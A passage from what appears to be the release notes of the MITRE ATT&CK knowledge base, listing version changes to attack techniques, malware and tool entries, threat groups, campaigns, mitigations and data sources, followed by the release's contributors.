(v2.0→v2.1) + * [Pluggable Authentication Modules](/techniques/T1556/003) (v2.0→v2.1) + * [Reversible Encryption](/techniques/T1556/005) (v1.0→v1.1) +* Modify Cloud Compute Infrastructure: [Create Cloud Instance](/techniques/T1578/002) (v1.1→v1.2) +* Modify Cloud Compute Infrastructure: [Create Snapshot](/techniques/T1578/001) (v1.1→v1.2) +* Modify Cloud Compute Infrastructure: [Delete Cloud Instance](/techniques/T1578/003) (v1.1→v1.2) +* [Multi-Factor Authentication Request Generation](/techniques/T1621) (v1.1→v1.2) +* [Network Denial of Service](/techniques/T1498) (v1.1→v1.2) + * [Direct Network Flood](/techniques/T1498/001) (v1.3→v1.4) + * [Reflection Amplification](/techniques/T1498/002) (v1.3→v1.4) +* OS Credential Dumping: [/etc/passwd and /etc/shadow](/techniques/T1003/008) (v1.0→v1.1) +* OS Credential Dumping: [DCSync](/techniques/T1003/006) (v1.0→v1.1) +* OS Credential Dumping: [LSA Secrets](/techniques/T1003/004) (v1.0→v1.1) +* OS Credential Dumping: [LSASS Memory](/techniques/T1003/001) (v1.4→v1.5) +* Obfuscated Files or Information: [Compile After Delivery](/techniques/T1027/004) (v1.0→v1.1) +* [Office Application Startup](/techniques/T1137) (v1.3→v1.4) + * [Add-ins](/techniques/T1137/006) (v1.1→v1.2) + * [Office Template Macros](/techniques/T1137/001) (v1.1→v1.2) + * [Office Test](/techniques/T1137/002) (v1.2→v1.3) + * [Outlook Forms](/techniques/T1137/003) (v1.1→v1.2) + * [Outlook Home Page](/techniques/T1137/004) (v1.1→v1.2) + * [Outlook Rules](/techniques/T1137/005) (v1.1→v1.2) +* [Password Policy Discovery](/techniques/T1201) (v1.5→v1.6) +* [Permission Groups Discovery](/techniques/T1069) (v2.5→v2.6) + * [Cloud Groups](/techniques/T1069/003) (v1.4→v1.5) +* [Phishing](/techniques/T1566) (v2.5→v2.6) + * [Spearphishing Link](/techniques/T1566/002) (v2.6→v2.7) + * [Spearphishing Voice](/techniques/T1566/004) (v1.0→v1.1) +* Process Injection: [ListPlanting](/techniques/T1055/015) (v1.0→v1.1) +* Proxy: [Multi-hop Proxy](/techniques/T1090/003) (v2.1→v2.2) +* Remote Services: [Cloud Services](/techniques/T1021/007) (v1.0→v1.1) +* Scheduled Task/Job: [At](/techniques/T1053/002) (v2.2→v2.3) +* Scheduled Task/Job: [Cron](/techniques/T1053/003) (v1.1→v1.2) +* Scheduled Task/Job: [Scheduled Task](/techniques/T1053/005) (v1.5→v1.6) +* [Search Closed Sources](/techniques/T1597) (v1.0→v1.1) +* [Search Victim-Owned Websites](/techniques/T1594) (v1.0→v1.1) +* Server Software Component: [SQL Stored Procedures](/techniques/T1505/001) (v1.0→v1.1) +* [Serverless Execution](/techniques/T1648) (v1.0→v1.1) +* [Software Deployment Tools](/techniques/T1072) (v3.0→v3.1) +* Stage Capabilities: [SEO Poisoning](/techniques/T1608/006) (v1.0→v1.1) +* [Steal Application Access Token](/techniques/T1528) (v1.3→v1.4) +* [Steal Web Session Cookie](/techniques/T1539) (v1.3→v1.4) +* [Steal or Forge Authentication Certificates](/techniques/T1649) (v1.1→v1.2) +* [Steal or Forge Kerberos Tickets](/techniques/T1558) (v1.5→v1.6) + * [AS-REP Roasting](/techniques/T1558/004) (v1.0→v1.1) +* System Binary Proxy Execution: [Rundll32](/techniques/T1218/011) (v2.2→v2.3) +* [System Location Discovery](/techniques/T1614) (v1.0→v1.1) +* [System Services](/techniques/T1569) (v1.2→v1.3) + * [Launchctl](/techniques/T1569/001) (v1.1→v1.2) +* [Taint Shared Content](/techniques/T1080) (v1.4→v1.5) +* [Transfer Data to Cloud Account](/techniques/T1537) (v1.4→v1.5) +* [Trusted Relationship](/techniques/T1199) (v2.3→v2.4) +* [Unsecured Credentials](/techniques/T1552) (v1.3→v1.4) + * [Bash History](/techniques/T1552/003) (v1.1→v1.2) + * [Chat Messages](/techniques/T1552/008) (v1.0→v1.1) + * [Group Policy Preferences](/techniques/T1552/006) (v1.0→v1.1) + * [Private Keys](/techniques/T1552/004) (v1.1→v1.2) +* [Use Alternate Authentication Material](/techniques/T1550) (v1.3→v1.4) + * [Application Access Token](/techniques/T1550/001) (v1.6→v1.7) + * [Web Session Cookie](/techniques/T1550/004) (v1.3→v1.4) +* [User Execution](/techniques/T1204) (v1.6→v1.7) + * [Malicious File](/techniques/T1204/002) (v1.3→v1.4) + * [Malicious Link](/techniques/T1204/001) (v1.0→v1.1) +* [Valid Accounts](/techniques/T1078) (v2.6→v2.7) + * [Cloud Accounts](/techniques/T1078/004) (v1.7→v1.8) + * [Default Accounts](/techniques/T1078/001) (v1.3→v1.4) +* [Web Service](/techniques/T1102) (v1.1→v1.2) + +#### Patches + +* Account Discovery: [Domain Account](/techniques/T1087/002) (v1.2) +* [Acquire Infrastructure](/techniques/T1583) (v1.4) + * [Malvertising](/techniques/T1583/008) (v1.0) + * [Virtual Private Server](/techniques/T1583/003) (v1.1) +* Active Scanning: [Vulnerability Scanning](/techniques/T1595/002) (v1.0) +* Adversary-in-the-Middle: [DHCP Spoofing](/techniques/T1557/003) (v1.1) +* [Application Window Discovery](/techniques/T1010) (v1.3) +* [Audio Capture](/techniques/T1123) (v1.0) +* [Boot or Logon Autostart Execution](/techniques/T1547) (v1.2) + * [Kernel Modules and Extensions](/techniques/T1547/006) (v1.3) + * [Port Monitors](/techniques/T1547/010) (v1.2) + * [Registry Run Keys / Startup Folder](/techniques/T1547/001) (v2.0) + * [Shortcut Modification](/techniques/T1547/009) (v1.2) +* [Browser Extensions](/techniques/T1176) (v1.3) +* [Cloud Administration Command](/techniques/T1651) (v2.0) +* [Cloud Infrastructure Discovery](/techniques/T1580) (v1.3) +* Command and Scripting Interpreter: [AppleScript](/techniques/T1059/002) (v1.2) +* Command and Scripting Interpreter: [PowerShell](/techniques/T1059/001) (v1.4) +* Command and Scripting Interpreter: [Unix Shell](/techniques/T1059/004) (v1.2) +* Command and Scripting Interpreter: [Visual Basic](/techniques/T1059/005) (v1.4) +* Command and Scripting Interpreter: [Windows Command Shell](/techniques/T1059/003) (v1.4) +* [Compromise Infrastructure](/techniques/T1584) (v1.5) + * [Network Devices](/techniques/T1584/008) (v1.0) + * [Web Services](/techniques/T1584/006) (v1.2) +* [Container Administration Command](/techniques/T1609) (v1.2) +* [Credentials from Password Stores](/techniques/T1555) (v1.2) + * [Cloud Secrets Management Stores](/techniques/T1555/006) (v1.0) + * [Keychain](/techniques/T1555/001) (v1.1) + * [Securityd Memory](/techniques/T1555/002) (v1.2) + * [Windows Credential Manager](/techniques/T1555/004) (v1.1) +* Data Manipulation: [Stored Data Manipulation](/techniques/T1565/001) (v1.1) +* Data Manipulation: [Transmitted Data Manipulation](/techniques/T1565/002) (v1.1) +* [Data Obfuscation](/techniques/T1001) (v1.1) +* [Data Staged](/techniques/T1074) (v1.4) + * [Local Data Staging](/techniques/T1074/001) (v1.1) + * [Remote Data Staging](/techniques/T1074/002) (v1.1) +* [Data from Removable Media](/techniques/T1025) (v1.2) +* [Deploy Container](/techniques/T1610) (v1.3) +* [Develop Capabilities](/techniques/T1587) (v1.1) +* Disk Wipe: [Disk Structure Wipe](/techniques/T1561/002) (v1.1) +* Domain or Tenant Policy Modification: [Group Policy Modification](/techniques/T1484/001) (v1.0) +* Event Triggered Execution: [Change Default File Association](/techniques/T1546/001) (v1.0) +* Event Triggered Execution: [Unix Shell Configuration Modification](/techniques/T1546/004) (v2.1) +* [Exploitation for Client Execution](/techniques/T1203) (v1.4) +* [Forced Authentication](/techniques/T1187) (v1.3) +* [Gather Victim Identity Information](/techniques/T1589) (v1.3) + * [Employee Names](/techniques/T1589/003) (v1.0) +* Hide Artifacts: [NTFS File Attributes](/techniques/T1564/004) (v1.1) +* Hijack Execution Flow: [Path Interception by Search Order Hijacking](/techniques/T1574/008) (v1.0) +* Hijack Execution Flow: [Services Registry Permissions Weakness](/techniques/T1574/011) (v1.1) +* Impair Defenses: [Disable or Modify System Firewall](/techniques/T1562/004) (v1.2) +* Impair Defenses: [Spoof Security Alerting](/techniques/T1562/011) (v1.0) +* Indicator Removal: [File Deletion](/techniques/T1070/004) (v1.1) +* Input Capture: [Web Portal Capture](/techniques/T1056/003) (v1.0) +* Inter-Process Communication: [XPC Services](/techniques/T1559/003) (v1.0) +* [Masquerading](/techniques/T1036) (v1.7) + * [Match Legitimate Name or Location](/techniques/T1036/005) (v1.2) + * [Rename System Utilities](/techniques/T1036/003) (v1.1) +* [Modify Cloud Compute Infrastructure](/techniques/T1578) (v1.2) +* [Multi-Factor Authentication Interception](/techniques/T1111) (v2.1) +* [Native API](/techniques/T1106) (v2.2) +* [Network Sniffing](/techniques/T1040) (v1.6) +* [Non-Standard Port](/techniques/T1571) (v1.1) +* [OS Credential Dumping](/techniques/T1003) (v2.2) + * [Cached Domain Credentials](/techniques/T1003/005) (v1.1) + * [Proc Filesystem](/techniques/T1003/007) (v1.2) + * [Security Account Manager](/techniques/T1003/002) (v1.1) +* Obfuscated Files or Information: [Command Obfuscation](/techniques/T1027/010) (v1.0) +* Obfuscated Files or Information: [Encrypted/Encoded File](/techniques/T1027/013) (v1.0) +* Obfuscated Files or Information: [HTML Smuggling](/techniques/T1027/006) (v1.1) +* [Obtain Capabilities](/techniques/T1588) (v1.1) + * [Artificial Intelligence](/techniques/T1588/007) (v1.0) + * [Digital Certificates](/techniques/T1588/004) (v1.2) + * [Tool](/techniques/T1588/002) (v1.1) +* Phishing: [Spearphishing Attachment](/techniques/T1566/001) (v2.2) +* Phishing: [Spearphishing via Service](/techniques/T1566/003) (v2.0) +* [Phishing for Information](/techniques/T1598) (v1.3) + * [Spearphishing Attachment](/techniques/T1598/002) (v1.1) + * [Spearphishing Link](/techniques/T1598/003) (v1.6) +* [Power Settings](/techniques/T1653) (v1.0) +* Process Injection: [Process Hollowing](/techniques/T1055/012) (v1.3) +* [Protocol Tunneling](/techniques/T1572) (v1.0) +* Remote Services: [VNC](/techniques/T1021/005) (v1.1) +* Remote Services: [Windows Remote Management](/techniques/T1021/006) (v1.2) +* [Scheduled Task/Job](/techniques/T1053) (v2.3) + * [Container Orchestration Job](/techniques/T1053/007) (v1.3) + * [Systemd Timers](/techniques/T1053/006) (v1.2) +* [Search Open Websites/Domains](/techniques/T1593) (v1.1) + * [Search Engines](/techniques/T1593/002) (v1.0) +* Server Software Component: [Terminal Services DLL](/techniques/T1505/005) (v1.0) +* [Service Stop](/techniques/T1489) (v1.2) +* Stage Capabilities: [Link Target](/techniques/T1608/005) (v1.4) +* Stage Capabilities: [Upload Malware](/techniques/T1608/001) (v1.2) +* Steal or Forge Kerberos Tickets: [Kerberoasting](/techniques/T1558/003) (v1.2) +* [Supply Chain Compromise](/techniques/T1195) (v1.6) +* System Binary Proxy Execution: [CMSTP](/techniques/T1218/003) (v2.1) +* [System Information Discovery](/techniques/T1082) (v2.5) +* System Script Proxy Execution: [SyncAppvPublishingServer](/techniques/T1216/002) (v1.0) +* System Services: [Service Execution](/techniques/T1569/002) (v1.2) +* Unsecured Credentials: [Cloud Instance Metadata API](/techniques/T1552/005) (v1.4) +* Unsecured Credentials: [Container API](/techniques/T1552/007) (v1.2) +* Unsecured Credentials: [Credentials In Files](/techniques/T1552/001) (v1.2) +* Unsecured Credentials: [Credentials in Registry](/techniques/T1552/002) (v1.1) +* Use Alternate Authentication Material: [Pass the Ticket](/techniques/T1550/003) (v1.1) +* Valid Accounts: [Local Accounts](/techniques/T1078/003) (v1.4) +* [Virtualization/Sandbox Evasion](/techniques/T1497) (v1.3) + * [System Checks](/techniques/T1497/001) (v2.2) + * [Time Based Evasion](/techniques/T1497/003) (v1.2) + * [User Activity Based Checks](/techniques/T1497/002) (v1.1) +* [Windows Management Instrumentation](/techniques/T1047) (v1.5) +* [XSL Script Processing](/techniques/T1220) (v1.2) + +### Mobile + +#### Patches + +* [Clipboard Data](/techniques/T1414) (v3.1) +* Hide Artifacts: [Suppress Application Icon](/techniques/T1628/001) (v1.1) +* Input Capture: [GUI Input Capture](/techniques/T1417/002) (v1.1) + +### ICS + +#### Patches + +* [Denial of Service](/techniques/T0814) (v1.1) + +## Software + +### Enterprise + +#### New Software + +* [Apostle](/software/S1133) (v1.0) +* [BFG Agonizer](/software/S1136) (v1.0) +* [BPFDoor](/software/S1161) (v1.0) +* [CHIMNEYSWEEP](/software/S1149) (v1.0) +* [Covenant](/software/S1155) (v1.0) +* [Cuckoo Stealer](/software/S1153) (v1.0) +* [DEADWOOD](/software/S1134) (v1.0) +* [DUSTPAN](/software/S1158) (v1.0) +* [DUSTTRAP](/software/S1159) (v1.0) +* [FRP](/software/S1144) (v1.0) +* [Gootloader](/software/S1138) (v1.0) +* [IMAPLoader](/software/S1152) (v1.0) +* [INC Ransomware](/software/S1139) (v1.0) +* [IPsec Helper](/software/S1132) (v1.0) +* [Latrodectus](/software/S1160) (v1.0) +* [LunarLoader](/software/S1143) (v1.0) +* [LunarMail](/software/S1142) (v1.0) +* [LunarWeb](/software/S1141) (v1.0) +* [Manjusaka](/software/S1156) (v1.0) +* [MgBot](/software/S1146) (v1.0) +* [Moneybird](/software/S1137) (v1.0) +* [MultiLayer Wiper](/software/S1135) (v1.0) +* [NPPSPY](/software/S1131) (v1.0) +* [Nightdoor](/software/S1147) (v1.0) +* [Pikabot](/software/S1145) (v1.0) +* [Playcrypt](/software/S1162) (v1.0) +* [ROADSWEEP](/software/S1150) (v1.0) +* [Raccoon Stealer](/software/S1148) (v1.0) +* [Raspberry Robin](/software/S1130) (v1.0) +* [Spica](/software/S1140) (v1.0) +* [VPNFilter](/software/S1010) (v2.0) +* [VersaMem](/software/S1154) (v1.0) +* [ZeroCleare](/software/S1151) (v1.0) + +#### Major Version Changes + +* [BabyShark](/software/S0414) (v1.2→v2.0) +* [Ebury](/software/S0377) (v1.3→v2.0) +* [MacMa](/software/S1016) (v1.0→v2.0) +* [OutSteel](/software/S1017) (v1.0→v2.0) +* [Saint Bot](/software/S1018) (v1.0→v2.0) + +#### Minor Version Changes + +* [ASPXSpy](/software/S0073) (v1.2→v1.3) +* [AdFind](/software/S0552) (v1.4→v1.5) +* [Amadey](/software/S1025) (v1.0→v1.1) +* [BloodHound](/software/S0521) (v1.5→v1.6) +* [Brute Ratel C4](/software/S1063) (v1.0→v1.1) +* [Bumblebee](/software/S1039) (v1.0→v1.1) +* [Cobalt Strike](/software/S0154) (v1.12→v1.13) +* [Cyclops Blink](/software/S0687) (v1.0→v1.1) +* [Emotet](/software/S0367) (v1.5→v1.6) +* [Empire](/software/S0363) (v1.7→v1.8) +* [EvilBunny](/software/S0396) (v1.2→v1.3) +* [GLOOXMAIL](/software/S0026) (v1.1→v1.2) +* [Gold Dragon](/software/S0249) (v1.2→v1.3) +* [IcedID](/software/S0483) (v1.1→v1.2) +* [Impacket](/software/S0357) (v1.6→v1.7) +* [Nltest](/software/S0359) (v1.2→v1.3) +* [PoetRAT](/software/S0428) (v2.2→v2.3) +* [PsExec](/software/S0029) (v1.6→v1.7) +* [QakBot](/software/S0650) (v1.2→v1.3) +* [QuasarRAT](/software/S0262) (v2.0→v2.1) +* [RawDisk](/software/S0364) (v1.0→v1.1) +* [Remsec](/software/S0125) (v1.3→v1.4) +* [SILENTTRINITY](/software/S0692) (v1.0→v1.1) +* [Wevtutil](/software/S0645) (v1.1→v1.2) +* [ftp](/software/S0095) (v2.0→v2.1) +* [gh0st RAT](/software/S0032) (v3.2→v3.3) + +#### Patches + +* [AADInternals](/software/S0677) (v1.2) +* [Astaroth](/software/S0373) (v2.3) +* [BLACKCOFFEE](/software/S0069) (v1.1) +* [ChChes](/software/S0144) (v1.1) +* [CreepyDrive](/software/S1023) (v1.0) +* [DDKONG](/software/S0255) (v1.0) +* [DarkGate](/software/S1111) (v1.0) +* [DarkWatchman](/software/S0673) (v1.2) +* [FinFisher](/software/S0182) (v1.4) +* [Flagpro](/software/S0696) (v1.0) +* [GrimAgent](/software/S0632) (v1.1) +* [HAPPYWORK](/software/S0214) (v1.0) +* [Janicab](/software/S0163) (v1.1) +* [Koadic](/software/S0250) (v2.0) +* [MailSniper](/software/S0413) (v1.1) +* [Micropsia](/software/S0339) (v1.2) +* [Mimikatz](/software/S0002) (v1.9) +* [Miner-C](/software/S0133) (v1.0) +* [NanoCore](/software/S0336) (v1.1) +* [PoisonIvy](/software/S0012) (v2.2) +* [ROADTools](/software/S0684) (v1.0) +* [RedLeaves](/software/S0153) (v1.2) +* [Ruler](/software/S0358) (v1.1) +* [SHUTTERSPEED](/software/S0217) (v1.0) +* [SLOTHFULMEDIA](/software/S0533) (v1.0) +* [Ursnif](/software/S0386) (v1.5) +* [WINERACK](/software/S0219) (v1.0) +* [Windows Credential Editor](/software/S0005) (v1.1) +* [Winexe](/software/S0191) (v1.0) + +### Mobile + +#### Patches + +* [Anubis](/software/S0422) (v1.3) +* [Exobot](/software/S0522) (v1.0) +* [FinFisher](/software/S0182) (v1.4) + +#### Deprecations + +* [Marcher](/software/S0317) (v1.0) + +### ICS + +#### New Software + +* [Fuxnet](/software/S1157) (v1.0) + +#### Major Version Changes + +* [VPNFilter](/software/S1010) (v1.1→v2.0) + +## Groups + +### Enterprise + +#### New Groups + +* [Agrius](/groups/G1030) (v1.0) +* [Daggerfly](/groups/G1034) (v1.0) +* [INC Ransom](/groups/G1032) (v1.0) +* [Moonstone Sleet](/groups/G1036) (v1.0) +* [Play](/groups/G1040) (v1.0) +* [RedCurl](/groups/G1039) (v1.0) +* [Saint Bear](/groups/G1031) (v1.0) +* [Star Blizzard](/groups/G1033) (v1.0) +* [TA577](/groups/G1037) (v1.0) +* [TA578](/groups/G1038) (v1.0) +* [Winter Vivern](/groups/G1035) (v1.0) + +#### Major Version Changes + +* [Aquatic Panda](/groups/G0143) (v1.1→v2.0) +* [CURIUM](/groups/G1012) (v2.0→v3.0) +* [Ember Bear](/groups/G1003) (v1.1→v2.0) +* [Kimsuky](/groups/G0094) (v4.0→v5.0) +* [Volt Typhoon](/groups/G1017) (v1.1→v2.0) + +#### Minor Version Changes + +* [APT28](/groups/G0007) (v5.0→v5.1) +* [APT29](/groups/G0016) (v6.0→v6.1) +* [APT41](/groups/G0096) (v4.0→v4.1) +* [Blue Mockingbird](/groups/G0108) (v1.2→v1.3) +* [Gamaredon Group](/groups/G0047) (v3.0→v3.1) +* [HEXANE](/groups/G1001) (v2.2→v2.3) +* [Indrik Spider](/groups/G0119) (v4.0→v4.1) +* [Magic Hound](/groups/G0059) (v6.0→v6.1) +* [MuddyWater](/groups/G0069) (v5.0→v5.1) +* [OilRig](/groups/G0049) (v4.0→v4.1) +* [Sandworm Team](/groups/G0034) (v4.0→v4.1) +* [Turla](/groups/G0010) (v5.0→v5.1) +* [ZIRCONIUM](/groups/G0128) (v2.0→v2.1) + +#### Patches + +* [APT17](/groups/G0025) (v1.1) +* [APT3](/groups/G0022) (v1.4) +* [APT38](/groups/G0082) (v3.0) +* [Akira](/groups/G1024) (v1.0) +* [Andariel](/groups/G0138) (v2.0) +* [Chimera](/groups/G0114) (v2.2) +* [Earth Lusca](/groups/G1006) (v2.0) +* [TeamTNT](/groups/G0139) (v1.3) +* [menuPass](/groups/G0045) (v3.0) + +### Mobile + +#### Minor Version Changes + +* [APT28](/groups/G0007) (v5.0→v5.1) +* [Sandworm Team](/groups/G0034) (v4.0→v4.1) + +#### Patches + +* [Earth Lusca](/groups/G1006) (v2.0) + +### ICS + +#### Minor Version Changes + +* [HEXANE](/groups/G1001) (v2.2→v2.3) +* [OilRig](/groups/G0049) (v4.0→v4.1) +* [Sandworm Team](/groups/G0034) (v4.0→v4.1) + +#### Patches + +* [APT38](/groups/G0082) (v3.0) + +## Campaigns + +### Enterprise + +#### New Campaigns + +* [APT41 DUST](/campaigns/C0040) (v1.0) +* [HomeLand Justice](/campaigns/C0038) (v1.0) +* [KV Botnet Activity](/campaigns/C0035) (v1.0) +* [Pikabot Distribution February 2024](/campaigns/C0036) (v1.0) +* [Versa Director Zero Day Exploitation](/campaigns/C0039) (v1.0) +* [Water Curupira Pikabot Distribution](/campaigns/C0037) (v1.0) + +#### Minor Version Changes + +* [SolarWinds Compromise](/campaigns/C0024) (v1.0→v1.1) + +## Mitigations + +### Enterprise + +#### New Mitigations + +* [Out-of-Band Communications Channel](/mitigations/M1060) (v1.0) + +#### Minor Version Changes + +* [Active Directory Configuration](/mitigations/M1015) (v1.1→v1.2) + +#### Patches + +* [Audit](/mitigations/M1047) (v1.2) +* [Credential Access Protection](/mitigations/M1043) (v1.1) +* [Execution Prevention](/mitigations/M1038) (v1.2) +* [Filter Network Traffic](/mitigations/M1037) (v1.1) +* [Limit Software Installation](/mitigations/M1033) (v1.0) +* [Network Intrusion Prevention](/mitigations/M1031) (v1.0) +* [Privileged Account Management](/mitigations/M1026) (v1.1) +* [User Training](/mitigations/M1017) (v1.2) + +#### Minor Version Changes + +* [Software Process and Device Authentication](/mitigations/M0813) (v1.0→v1.1) + +## Data Sources + +### Enterprise + +#### Patches + +* [Active Directory](/datasources/DS0026) (v1.0) +* [Application Log](/datasources/DS0015) (v1.0) +* [Cloud Service](/datasources/DS0025) (v1.0) +* [Firewall](/datasources/DS0018) (v1.0) +* [Group](/datasources/DS0036) (v1.0) +* [Logon Session](/datasources/DS0028) (v1.1) +* [User Account](/datasources/DS0002) (v1.1) +* [Web Credential](/datasources/DS0006) (v1.0) + +### ICS + +#### Patches + +* [Application Log](/datasources/DS0015) (v1.0) +* [Logon Session](/datasources/DS0028) (v1.1) +* [User Account](/datasources/DS0002) (v1.1) + +## Contributors to this release + +* @grahamhelton3 +* Arun Seelagan, CISA +* Asritha Narina +* Aung Kyaw Min Naing, @Nolan +* Barbara Louis-Sidney (OWN-CERT) +* Catherine Williams, BT Security +* Centre for Cybersecurity Belgium (CCB) +* Cris Tomboc, Truswave SpiderLabs +* Csaba Fitzl @theevilbit of Kandji +* Daniel Acevedo, Blackbot +* Denise Tan +* Diego Sappa, Securonix +* Domenico Mazzaferro Palmeri +* Dray Agha, Huntress Labs +* Eder Pérez Ignacio, @ch4ik0 +* Eduardo González Hernández (@codexlynx) +* Furkan Celiik +* Hakan KARABACAK +* Harikrishnan Muthu, Cyble +* Harry Hill, BT Security +* Inna Danilevich +* Jai Minton, CrowdStrike +* James Emery-Callcott, Emerging Threats Team, Proofpoint +* James P Callahan, Professional Paranoid +* Jamie Williams (U ω U), PANW Unit 42 +* Jennifer Kim Roman, CrowdStrike +* Joe Gumke, U.S. Bank +* Jorge Orchilles +* Liran Ravich, CardinalOps +* Madhukar Raina (Senior Security Researcher - Hack The Box, UK) +* Manikantan Srinivasan, NEC Corporation India +* Marco Pedrinazzi, @pedrinazziM +* Massimo Giaimo, Würth Group Cyber Defence Center +* Matt Anderson, @‌nosecurething, Huntress +* Matt Brenton +* Menachem Goldstein +* Michael Forret, Quorum Cyber +* Mike Hartley @mikehartley10 +* Nagahama Hiroki – NEC Corporation Japan +* Naveen Vijayaraghavan +* Nilesh Dherange (Gurucul) +* Obsidian Security +* Onur Atali +* OWN +* Phyo Paing Htun (ChiLai) +* Pooja Natarajan, NEC Corporation India +* ReliaQuest +* Riku Katsuse, NEC Corporation +* Ruben Groenewoud, Elastic +* Sam Seabrook, Duke Energy +* Sarathkumar Rajendran, Microsoft Defender365 +* Sareena Karapoola, NEC Corporation India +* Sharon Brizinov, Claroty Team82 Research +* Sofia Sanchez Margolles +* Subhash Thapa +* Swachchhanda Shrawan Poudel +* Takemasa Kamatani, NEC Corporation +* TruKno +* Vito Alfano, Group-IB +* Wirapong Petshagun +* Wojciech Reguła @_r3ggi +* Ye Yint Min Thu Htut, Active Defense Team, DBS Bank +* Yoshihiro Kori, NEC Corporation +* Zaw Min Htun, @z3tae